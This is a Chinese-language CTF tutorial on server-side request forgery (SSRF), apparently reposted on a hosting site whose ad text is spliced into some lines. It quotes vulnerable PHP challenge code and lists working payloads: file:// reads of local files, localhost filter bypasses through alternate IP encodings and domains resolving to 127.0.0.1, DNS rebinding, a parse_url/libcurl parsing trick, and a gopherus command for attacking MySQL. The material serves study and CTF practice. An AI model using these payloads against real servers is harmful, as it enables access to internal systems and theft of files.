SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
ssrf就是利用我们可以访问到的服务器,对其服务器下面的内网进行探测,也可以理解为服务器拥有外网ip,而我们要访问的电脑则是在公网ip进行nat后分配的内网ip
SSRF详解文章
1)无过滤 用file协议或者本地ip
使用file协议读取本地文件
payload::url=file:///var/www/html/flag.php
payload:url=127.0.0.1/flag.php
2)多种绕过:
<?php error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
scheme必须是http或者https,但是不能有127.0.0.1或者localhost。这个绕过技巧很多了,列具一些常用的吧:
- 十六进制 url=http://0x7F.0.0.1/flag.php
ip地址进制转换
- 八进制 url=http://0177.0.0.1/flag.php
- 10 进制整数格式 url=http://2130706433/flag.php
- 16 进制整数格式,还是上面那个网站转换记得前缀0x url=http://0x7F000001服务器托管网/flag.php
- 使用句号绕过:
url=http://127。0。0。1/flag.php
,这题也不行。- 还有一种特殊的省略模式 127.0.0.1写成127.1
- 用CIDR绕过localhost url=http://127.127.127.127/flag.php
- url=http://0/flag.php url=http://0.0.0.0/flag.php
3)过滤了0 1
奇淫巧技:将域名A类指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1
url=http://sudo.cc/flag.php
4)利用302跳转和dns重绑定都可以。
<?php highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo ''.$ip.'';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
2、在这个网站注册一个账号http://ceye.io/
,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写
然后payload:http://r.xxxxxx/flag.php
xxx为分给你的域名
多少几次就可以了,具体原理可以看下大佬写的文章DNS重绑定解释
3.parse_url liburl区别
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
如:
http://u:p@a.com:80@b.com/
php解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80
libcurl解析结果:
schema: http
host: a.com
服务器托管网 user: u
pass: p
port: 80
后面的@b.com/会被忽略掉
4.无密码SQL:
python gopherus.py --exploit mysql
然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net